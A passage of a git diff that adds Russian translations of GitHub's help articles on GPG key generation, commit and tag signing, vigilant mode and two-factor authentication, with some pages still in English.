`3AA5C34371567BD2`: + ```shell + $ gpg --armor --export 3AA5C34371567BD2 + # Prints the GPG key, in ASCII armor format + ``` +11. Upload the GPG key by [adding it to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account). + +## Further reading + +- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" +- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)" +- "[Using a verified email address in your GPG key](/articles/using-a-verified-email-address-in-your-gpg-key)" +- "[Adding a GPG key to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account)" +- "[Signing commits](/articles/signing-commits)" +- "[Signing tags](/articles/signing-tags)" diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md new file mode 100644 index 000000000000..8e1c6a82cca5 --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md @@ -0,0 +1,49 @@ +--- +title: "Проверка наличия ключей\_GPG" +intro: Перед созданием ключа GPG можно проверить наличие существующих ключей GPG. +redirect_from: + - /articles/checking-for-existing-gpg-keys + - /github/authenticating-to-github/checking-for-existing-gpg-keys + - /github/authenticating-to-github/managing-commit-signature-verification/checking-for-existing-gpg-keys +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Existing GPG keys +ms.openlocfilehash: 23a984642b98d3793f6540666f27943420cf3a4a +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008858' +--- +{% data reusables.gpg.supported-gpg-key-algorithms %} + +{% note %} + +**Примечание**. GPG не устанавливается по умолчанию в macOS или Windows. Сведения об установке программ командной строки GPG см. на [странице скачивания GnuPG](https://www.gnupg.org/download/). + +{% endnote %} + +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.list-keys-with-note %} +3. Проверьте выходные данные команды, чтобы узнать, есть ли у вас пара ключей GPG. + * Если пар ключей GPG нет или вы не хотите использовать имеющиеся пары для подписывания фиксаций и тегов, [создайте новый ключ GPG](/articles/generating-a-new-gpg-key). + * Если пара ключей GPG имеется и вы хотите использовать ее для подписывания фиксаций и тегов, вы можете отобразить открытый ключ с помощью следующей команды, в которую следует подставить нужный идентификатор ключа GPG. В этом примере идентификатором ключа GPG является `3AA5C34371567BD2`: + ```shell + $ gpg --armor --export 3AA5C34371567BD2 + # Prints the GPG key ID, in ASCII armor format + ``` + Затем вы можете [добавить ключ GPG в учетную запись GitHub](/articles/adding-a-gpg-key-to-your-github-account). + +## Дополнительные материалы + +* [Создание нового ключа GPG](/articles/generating-a-new-gpg-key) +* "[Добавление ключа GPG в учетную запись GitHub](/articles/adding-a-gpg-key-to-your-github-account)" +* [Предоставление Git информации о ключе для подписывания](/articles/telling-git-about-your-signing-key) +* [Связывание адреса электронной почты с ключом GPG](/articles/associating-an-email-with-your-gpg-key) +* [Подписывание фиксаций](/articles/signing-commits) +* [Подписывание тегов](/articles/signing-tags) diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md new file mode 100644 index 000000000000..20c7639fbad2 --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md @@ -0,0 +1,41 @@ +--- +title: Displaying verification statuses for all of your commits +shortTitle: Displaying verification for all commits +intro: You can enable vigilant mode for commit signature verification to mark all of your commits and tags with a signature verification status. +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Identity + - Access management +redirect_from: + - /github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits + - /github/authenticating-to-github/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits +--- + +{% data reusables.identity-and-permissions.vigilant-mode-beta-note %} + +## About vigilant mode + +When you work locally on your computer, Git allows you to set the author of your changes and the identity of the committer. This, potentially, makes it difficult for other people to be confident that commits and tags you create were actually created by you. To help solve this problem you can sign your commits and tags. For more information, see "[Signing commits](/github/authenticating-to-github/signing-commits)" and "[Signing tags](/github/authenticating-to-github/signing-tags)." {% data variables.product.prodname_dotcom %} marks signed commits and tags with a verification status. + +By default commits and tags are marked "Verified" if they are signed with a GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME key that was successfully verified. If a commit or tag has a signature that can't be verified by {% data variables.product.prodname_dotcom %}, we mark the commit or tag "Unverified." In all other cases no verification status is displayed. + +However, you can give other users increased confidence in the identity attributed to your commits and tags by enabling vigilant mode in your {% data variables.product.prodname_dotcom %} settings. With vigilant mode enabled, all of your commits and tags are marked with one of three verification statuses. + +![Signature verification statuses](/assets/images/help/commits/signature-verification-statuses.png) + +{% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} + +You should only enable vigilant mode if you sign all of your commits and tags and use an email address that is verified for your account on {% data variables.product.product_name %} as your committer email address. After enabling this mode, any unsigned commits or tags that you generate locally and push to {% data variables.product.prodname_dotcom %} will be marked "Unverified." + +{% data reusables.identity-and-permissions.verification-status-check %} + +## Enabling vigilant mode + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +3. On the SSH Settings page, under "Vigilant mode," select **Flag unsigned commits as unverified**. + + ![Flag unsigned commits as unverified checkbox](/assets/images/help/commits/vigilant-mode-checkbox.png) diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md new file mode 100644 index 000000000000..a5091475ab2c --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md @@ -0,0 +1,73 @@ +--- +title: "Создание ключа\_GPG" +intro: 'Если у вас нет существующего ключа GPG, можно создать новый ключ GPG для подписывания фиксаций и тегов.' +redirect_from: + - /articles/generating-a-new-gpg-key + - /github/authenticating-to-github/generating-a-new-gpg-key + - /github/authenticating-to-github/managing-commit-signature-verification/generating-a-new-gpg-key +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +ms.openlocfilehash: fbe51f7b50414632e6994d6f621441c8923e47f1 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147710230' +--- +{% data reusables.gpg.supported-gpg-key-algorithms %} + +## Создание ключа GPG + +{% note %} + +**Примечание**. Перед созданием ключа GPG необходимо подтвердить свой адрес электронной почты. Если вы еще не сделали этого, то не сможете подписывать фиксации и метки с помощью GPG.{% ifversion fpt or ghec %} Дополнительные сведения см. в разделе [Подтверждение адреса электронной почты](/articles/verifying-your-email-address).{% endif %} + +{% endnote %} + +1. Скачайте и установите [программы командной строки GPG](https://www.gnupg.org/download/) для своей операционной системы. Как правило, рекомендуется устанавливать последнюю версию для вашей операционной системы. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Создайте пару ключей GPG. Так как версий GPG несколько, может потребоваться обратиться к соответствующей [_странице руководства_](https://en.wikipedia.org/wiki/Man_page), чтобы найти команду создания ключей. Ключ должен использовать RSA. + - Если вы используете версию 2.1.17 или более позднюю, вставьте приведенный ниже текст, чтобы создать пару ключей GPG. + ```shell{:copy} + $ gpg --full-generate-key + ``` + - В других версиях команда `gpg --full-generate-key` не работает. Вставьте приведенный ниже текст и перейдите к шагу 6. + ```shell{:copy} + $ gpg --default-new-key-algo rsa4096 --gen-key + ``` +4. В командной строке укажите нужный тип ключа или нажмите клавишу `Enter`, чтобы принять значение по умолчанию. +5. В командной строке укажите нужный размер ключа или нажмите клавишу `Enter`, чтобы принять значение по умолчанию. Размер ключа должен быть не менее `4096` бит. +6. Введите срок действия ключа. Нажмите `Enter`, чтобы принять значение по умолчанию: бессрочный ключ. Если вам не требуется установка даты окончания срока действия, рекомендуется принять значение по умолчанию. +7. Проверьте правильность выбранных параметров. +8. Введите идентификатор пользователя. + + {% note %} + + **Примечание**. При запросе адреса электронной почты введете подтвержденный адрес, связанный с вашей учетной записью GitHub. {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} Дополнительные сведения см. в разделах [Подтверждение адреса электронной почты](/articles/verifying-your-email-address) и [Указание адреса электронной почты для фиксаций](/articles/setting-your-commit-email-address).{% endif %} + + {% endnote %} + +9. Введите надежную парольную фразу. +{% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} +10. Вставьте приведенный ниже текст, подставив нужный идентификатор ключа GPG. В этом примере идентификатором ключа GPG является `3AA5C34371567BD2`: + ```shell{:copy} + $ gpg --armor --export 3AA5C34371567BD2 + # Prints the GPG key ID, in ASCII armor format + ``` +11. Скопируйте ключ PGP, начиная с `-----BEGIN PGP PUBLIC KEY BLOCK-----` и заканчивая `-----END PGP PUBLIC KEY BLOCK-----`. +12. [Добавьте ключ GPG в учетную запись GitHub](/articles/adding-a-gpg-key-to-your-github-account). + +## Дополнительные материалы + +* [Проверка наличия существующих ключей GPG](/articles/checking-for-existing-gpg-keys) +* "[Добавление ключа GPG в учетную запись GitHub](/articles/adding-a-gpg-key-to-your-github-account)" +* [Предоставление Git информации о ключе для подписывания](/articles/telling-git-about-your-signing-key) +* [Связывание адреса электронной почты с ключом GPG](/articles/associating-an-email-with-your-gpg-key) +* [Подписывание фиксаций](/articles/signing-commits) +* [Подписывание тегов](/articles/signing-tags) diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/index.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/index.md new file mode 100644 index 000000000000..ba633a09a05a --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/index.md @@ -0,0 +1,29 @@ +--- +title: Managing commit signature verification +intro: '{% data variables.product.product_name %} will verify GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME signatures so other people will know that your commits come from a trusted source.{% ifversion fpt %} {% data variables.product.product_name %} will automatically sign commits you make using the {% data variables.product.product_name %} web interface.{% endif %}' +redirect_from: + - /articles/generating-a-gpg-key + - /articles/signing-commits-with-gpg + - /articles/managing-commit-signature-verification + - /github/authenticating-to-github/managing-commit-signature-verification +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +children: + - /about-commit-signature-verification + - /displaying-verification-statuses-for-all-of-your-commits + - /checking-for-existing-gpg-keys + - /generating-a-new-gpg-key + - /adding-a-gpg-key-to-your-github-account + - /telling-git-about-your-signing-key + - /associating-an-email-with-your-gpg-key + - /signing-commits + - /signing-tags +shortTitle: Verify commit signatures +--- + diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/signing-commits.md new file mode 100644 index 000000000000..c9dabe454ae0 --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/signing-commits.md @@ -0,0 +1,62 @@ +--- +title: Подписание фиксаций +intro: 'Вы можете подписывать фиксации локально с помощью GPG{% ifversion ssh-commit-verification %}, SSH{% endif %} или S/MIME.' +redirect_from: + - /articles/signing-commits-and-tags-using-gpg + - /articles/signing-commits-using-gpg + - /articles/signing-commits + - /github/authenticating-to-github/signing-commits + - /github/authenticating-to-github/managing-commit-signature-verification/signing-commits +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +ms.openlocfilehash: 8550393cc31571756099ac364698434f38b02cfa +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106752' +--- +{% data reusables.gpg.desktop-support-for-commit-signing %} + +{% tip %} + +**Советы** + +Чтобы настроить клиент Git для подписывания фиксаций по умолчанию для локального репозитория, выполните `git config commit.gpgsign true` в Git версии 2.0.0 и более поздних версий. Чтобы подписать все фиксации по умолчанию в любом локальном репозитории на компьютере, выполните команду `git config --global commit.gpgsign true`. + +Для сохранения кодовой фразы ключа GPG, чтобы вам не приходилось вводить ее каждый раз, подписывая фиксацию, рекомендуется использовать следующие инструменты: + - Для пользователей Mac [набор GPG](https://gpgtools.org/) позволяет хранить парольную фразу ключа GPG в цепочке ключей Mac OS. + - Для пользователей Windows [Gpg4win](https://www.gpg4win.org/) интегрируется с другими средствами Windows. + +Можно также вручную настроить [gpg-agent](http://linux.die.net/man/1/gpg-agent) для сохранения парольной фразы ключа GPG, но это не интегрируется с цепочкой ключей Mac OS как ssh-agent и требует дополнительной настройки. + +{% endtip %} + +Если у вас несколько ключей или вы пытаетесь подписать фиксации либо теги с помощью ключа, который не соответствует удостоверению фиксации, следует [сообщить Git о ключе для подписывания](/articles/telling-git-about-your-signing-key). + +1. При фиксации изменений в локальной ветви добавьте флаг -S в команду фиксации Git: + ```shell + $ git commit -S -m "YOUR_COMMIT_MESSAGE" + # Creates a signed commit + ``` +2. Если вы используете GPG, после создания фиксации укажите парольную фразу, настроенную при [создании ключа GPG](/articles/generating-a-new-gpg-key). +3. Завершив создание фиксаций локально, отправьте их в удаленный репозиторий на {% data variables.product.product_name %}: + ```shell + $ git push + # Pushes your local commits to the remote repository + ``` +4. В {% data variables.product.product_name %} перейдите к запросу на вытягивание. +{% data reusables.repositories.review-pr-commits %} +5. Чтобы просмотреть более подробные сведения о проверенной сигнатуры, нажмите кнопку "Проверено". +![Подписанная фиксация](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) + +## Дополнительные материалы + +* [Предоставление Git информации о ключе для подписывания](/articles/telling-git-about-your-signing-key) +* [Подписывание тегов](/articles/signing-tags) diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/signing-tags.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/signing-tags.md new file mode 100644 index 000000000000..23e800f0bcbf --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/signing-tags.md @@ -0,0 +1,42 @@ +--- +title: Подписывание тегов +intro: 'Вы можете подписывать теги локально с помощью GPG{% ifversion ssh-commit-verification %}, SSH{% endif %} или S/MIME.' +redirect_from: + - /articles/signing-tags-using-gpg + - /articles/signing-tags + - /github/authenticating-to-github/signing-tags + - /github/authenticating-to-github/managing-commit-signature-verification/signing-tags +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +ms.openlocfilehash: 22bdc1c5095a8fa82d2ac406a19dc633f8f44fc6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106680' +--- +{% data reusables.gpg.desktop-support-for-commit-signing %} + +1. Чтобы подписать тег, добавьте `-s` в команду `git tag`. + ```shell + $ git tag -s MYTAG + # Creates a signed tag + ``` +2. Проверьте подписанный тег, выполнив команду `git tag -v [tag-name]`. + ```shell + $ git tag -v MYTAG + # Verifies the signed tag + ``` + +## Дополнительные материалы + +- [Просмотр тегов репозитория](/articles/viewing-your-repositorys-tags) +- [Предоставление Git информации о ключе для подписывания](/articles/telling-git-about-your-signing-key) +- [Связывание адреса электронной почты с ключом GPG](/articles/associating-an-email-with-your-gpg-key) +- [Подписывание фиксаций](/articles/signing-commits) diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md new file mode 100644 index 000000000000..9d472acecabc --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md @@ -0,0 +1,113 @@ +--- +title: Предоставление GIT информации о ключе для подписывания +intro: 'Чтобы подписать фиксации локально, необходимо сообщить Git о наличии ключа GPG{% ifversion ssh-commit-verification %}, SSH{% endif %} или X.509, который требуется использовать.' +redirect_from: + - /articles/telling-git-about-your-gpg-key + - /articles/telling-git-about-your-signing-key + - /github/authenticating-to-github/telling-git-about-your-signing-key + - /github/authenticating-to-github/managing-commit-signature-verification/telling-git-about-your-signing-key +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Tell Git your signing key +ms.openlocfilehash: e78306bb1519f2b7f51ab6bc039bff0b982e48cf +ms.sourcegitcommit: a0ad3bfe2a99c3092e76ca9b3d476cf30988ca55 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/28/2022 +ms.locfileid: '148118998' +--- +{% mac %} + +## Предоставление GIT информации о ключе GPG + +Если вы используете ключ GPG, соответствующий вашему удостоверению фиксации и проверенной электронной почте, связанному с вашей учетной записью в {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, можно начать подписывание фиксаций и подписи тегов. + +{% note %} + +Если у вас нет ключа GPG, соответствующего вашему удостоверению автора фиксаций, необходимо связать адрес электронной почты с существующим ключом. Дополнительные сведения см. в разделе [Связывание адреса электронной почты с ключом GPG](/articles/associating-an-email-with-your-gpg-key). + +{% endnote %} + +Если у вас несколько ключей GPG, необходимо указать GIT, какой из них следует использовать. + +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-gpg-signing %} {% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} {% data reusables.gpg.paste-gpg-key-id %} {% data reusables.gpg.set-auto-sign %} +1. Если вы не используете набор GPG, выполните следующую команду в оболочке `zsh`, чтобы добавить ключ GPG в файл `.zshrc`, если он существует, или в файл `.zprofile`: + ```shell + $ if [ -r ~/.zshrc ]; then echo 'export GPG_TTY=$(tty)' >> ~/.zshrc; \ + else echo 'export GPG_TTY=$(tty)' >> ~/.zprofile; fi + ``` + Если вы используете оболочку `bash`, выполните следующую команду: + ```shell + $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \ + else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi + ``` +1. Если необходимо запрашивать ПИН-код или парольную фразу, установите `pinentry-mac`. Например, при использовании [Homebrew](https://brew.sh/): + ```shell + $ brew install pinentry-mac + $ echo "pinentry-program $(which pinentry-mac)" >> ~/.gnupg/gpg-agent.conf + $ killall gpg-agent + ``` + +{% endmac %} + +{% windows %} + +## Предоставление GIT информации о ключе GPG + +Если вы используете ключ GPG, соответствующий вашему удостоверению фиксации и проверенной электронной почте, связанному с вашей учетной записью в {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, можно начать подписывание фиксаций и подписи тегов. + +{% note %} + +Если у вас нет ключа GPG, соответствующего вашему удостоверению автора фиксаций, необходимо связать адрес электронной почты с существующим ключом. Дополнительные сведения см. в разделе [Связывание адреса электронной почты с ключом GPG](/articles/associating-an-email-with-your-gpg-key). + +{% endnote %} + +Если у вас несколько ключей GPG, необходимо указать GIT, какой из них следует использовать. + +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-gpg-signing %} {% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} {% data reusables.gpg.paste-gpg-key-id %} {% data reusables.gpg.set-auto-sign %} + +{% endwindows %} + +{% linux %} + +## Предоставление GIT информации о ключе GPG + +Если вы используете ключ GPG, соответствующий вашему удостоверению фиксации и проверенной электронной почте, связанному с вашей учетной записью в {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, можно начать подписывание фиксаций и подписи тегов. + +{% note %} + +Если у вас нет ключа GPG, соответствующего вашему удостоверению автора фиксаций, необходимо связать адрес электронной почты с существующим ключом. Дополнительные сведения см. в разделе [Связывание адреса электронной почты с ключом GPG](/articles/associating-an-email-with-your-gpg-key). + +{% endnote %} + +Если у вас несколько ключей GPG, необходимо указать GIT, какой из них следует использовать. + +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-gpg-signing %} {% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} {% data reusables.gpg.paste-gpg-key-id %} {% data reusables.gpg.set-auto-sign %} +1. Чтобы добавить ключ GPG в файл запуска `.bashrc`, выполните следующую команду: + ```bash + $ [ -f ~/.bashrc ] && echo 'export GPG_TTY=$(tty)' >> ~/.bashrc + ``` +{% endlinux %} {% ifversion ssh-commit-verification %} + +## Предоставление Git информации о ключе SSH + +Существующий ключ SSH можно использовать для подписывания фиксаций и тегов или создания нового ключа специально для подписывания. Дополнительные сведения см. в разделе [Создание нового ключа SSH и его добавление в агент SSH](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). + +{% data reusables.gpg.ssh-git-version %} + +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-ssh-signing %} {% data reusables.gpg.copy-ssh-public-key %} {% data reusables.gpg.paste-ssh-public-key %} + +{% endif %} + +{% data reusables.gpg.x-509-key %} +## Дополнительные материалы + +- [Добавление нового ключа SSH в учетную запись GitHub](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account). +- [Подписывание фиксаций](/articles/signing-commits) +- [Подписывание тегов](/articles/signing-tags) diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md new file mode 100644 index 000000000000..66084e4142ec --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md @@ -0,0 +1,48 @@ +--- +title: About two-factor authentication +intro: '{% data reusables.two_fa.about-2fa %} With 2FA, you have to log in with your username and password and provide another form of authentication that only you know or have access to.' +redirect_from: + - /articles/about-two-factor-authentication + - /github/authenticating-to-github/about-two-factor-authentication + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - 2FA +shortTitle: About 2FA +--- +For {% data variables.product.product_name %}, the second form of authentication is a code that's generated by an application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. After you enable 2FA, {% data variables.product.product_name %} generates an authentication code any time someone attempts to sign into your account on {% data variables.location.product_location %}. The only way someone can sign into your account is if they know both your password and have access to the authentication code on your phone. + +{% data reusables.two_fa.after-2fa-add-security-key %} + +{% ifversion fpt or ghec %} +In addition to security keys, you can also use {% data variables.product.prodname_mobile %} for 2FA after configuring a TOTP mobile app or text messages. {% data variables.product.prodname_mobile %} uses public-key cryptography to secure your account, allowing you to use any mobile device that you've used to sign in to {% data variables.product.prodname_mobile %} as your second factor. +{% endif %} + +You can also configure additional recovery methods in case you lose access to your two-factor authentication credentials. For more information on setting up 2FA, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" and "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)." + +We **strongly** urge you to enable 2FA for the safety of your account, not only on {% data variables.product.product_name %}, but on other websites and apps that support 2FA. You can enable 2FA to access {% data variables.product.product_name %} and {% data variables.product.prodname_desktop %}. + +For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)." + +## Two-factor authentication recovery codes + +{% data reusables.two_fa.about-recovery-codes %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." + +{% ifversion fpt or ghec %} + +{% warning %} + +**Warning**: {% data reusables.two_fa.support-may-not-help %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." + +{% endwarning %} + +{% endif %} + +## Requiring two-factor authentication in your organization + +Organization owners can require that organization members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators use two-factor authentication to secure their personal accounts. For more information, see "[Requiring two-factor authentication in your organization](/articles/requiring-two-factor-authentication-in-your-organization)." + +{% data reusables.two_fa.auth_methods_2fa %} diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md new file mode 100644 index 000000000000..a79e1f08019b --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md @@ -0,0 +1,97 @@ +--- +title: Accessing GitHub using two-factor authentication +intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.product_name %}.' +redirect_from: + - /articles/providing-your-2fa-security-code + - /articles/providing-your-2fa-authentication-code + - /articles/authenticating-to-github-using-fido-u2f-via-nfc + - /articles/accessing-github-using-two-factor-authentication + - /github/authenticating-to-github/accessing-github-using-two-factor-authentication + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - 2FA +shortTitle: Access GitHub with 2FA +--- +With two-factor authentication enabled, you'll need to provide an authentication code when accessing {% data variables.product.product_name %} through your browser. If you access {% data variables.product.product_name %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." + +## Providing a 2FA code when signing in to the website + +After you sign in to {% data variables.product.product_name %} using your password, you'll be prompted to provide an authentication code from {% ifversion fpt or ghec %}a text message or{% endif %} your TOTP app. + +{% data variables.product.product_name %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, or your session expires. + +### Generating a code through a TOTP application + +If you chose to set up two-factor authentication using a TOTP application on your smartphone, you can generate an authentication code for {% data variables.product.product_name %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions. + +If you delete the mobile application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. For more information, see "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)" + +{% ifversion fpt or ghec %} + +### Receiving a text message + +If you set up two-factor authentication via text messages, {% data variables.product.product_name %} will send you a text message with your authentication code. + +### Verifying with {% data variables.product.prodname_mobile %} + +If you have installed and signed in to {% data variables.product.prodname_mobile %}, you may choose to authenticate with {% data variables.product.prodname_mobile %} for two-factor authentication. + +1. Sign in to {% data variables.product.product_name %} with your browser, using your username and password. +2. If you have added a security key to your account, you'll first be prompted to insert and use a security key. To skip using a security key, click **Authenticate with {% data variables.product.prodname_mobile %}**. + ![Two-factor authentication challenge on {% data variables.product.product_name %} with "Authenticate with {% data variables.product.prodname_mobile %}" highlighted](/assets/images/help/2fa/2fa-select-mobile.png) +3. {% data variables.product.product_name %} will send you a push notification to verify your sign in attempt. Opening the push notification or opening the {% data variables.product.prodname_mobile %} app will display a prompt, asking you to approve or reject this sign in attempt. + {% note %} + + **Note**: This prompt may require you to enter a two-digit number displayed within the browser you are signing in to. + + {% endnote %} + + ![Two-factor authentication challenge with {% data variables.product.prodname_mobile %} requiring a two-digit input](/assets/images/help/2fa/2fa-mobile-number-challenge.png) + + - Upon approving the login attempt using {% data variables.product.prodname_mobile %}, your browser will complete the sign in attempt automatically. + - Rejecting the sign in attempt will prevent the authentication from finishing. For more information, see "[Keeping your account and data secure](/authentication/keeping-your-account-and-data-secure)." + +{% endif %} + +## Using two-factor authentication with the command line + +After you've enabled 2FA, you will no longer use your password to access {% data variables.product.product_name %} on the command line. Instead, use Git Credential Manager, a {% data variables.product.pat_generic %}, or an SSH key. + +### Authenticating on the command line using Git Credential Manager + +[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) is a secure Git credential helper that runs on Windows, macOS, and Linux. For more information about Git credential helpers, see [Avoiding repetition](https://git-scm.com/docs/gitcredentials#_avoiding_repetition) in the Pro Git book. + +Setup instructions vary based on your computer's operating system. For more information, see [Download and install](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md#download-and-install) in the GitCredentialManager/git-credential-manager repository. + +### Authenticating on the command line using HTTPS + +After you've enabled 2FA, you must create a {% data variables.product.pat_generic %} to use as a password when authenticating to {% data variables.product.product_name %} on the command line using HTTPS URLs. + +When prompted for a username and password on the command line, use your {% data variables.product.product_name %} username and {% data variables.product.pat_generic %}. The command line prompt won't specify that you should enter your {% data variables.product.pat_generic %} when it asks for your password. + +For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +### Authenticating on the command line using SSH + +Enabling 2FA doesn't change how you authenticate to {% data variables.product.product_name %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/articles/connecting-to-github-with-ssh/)." + +## Using two-factor authentication to access a repository using Subversion + +When you access a repository via Subversion, you must provide a {% data variables.product.pat_generic %} instead of entering your password. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +## Troubleshooting + +If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." + +If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone. + +## Further reading + +- "[About two-factor 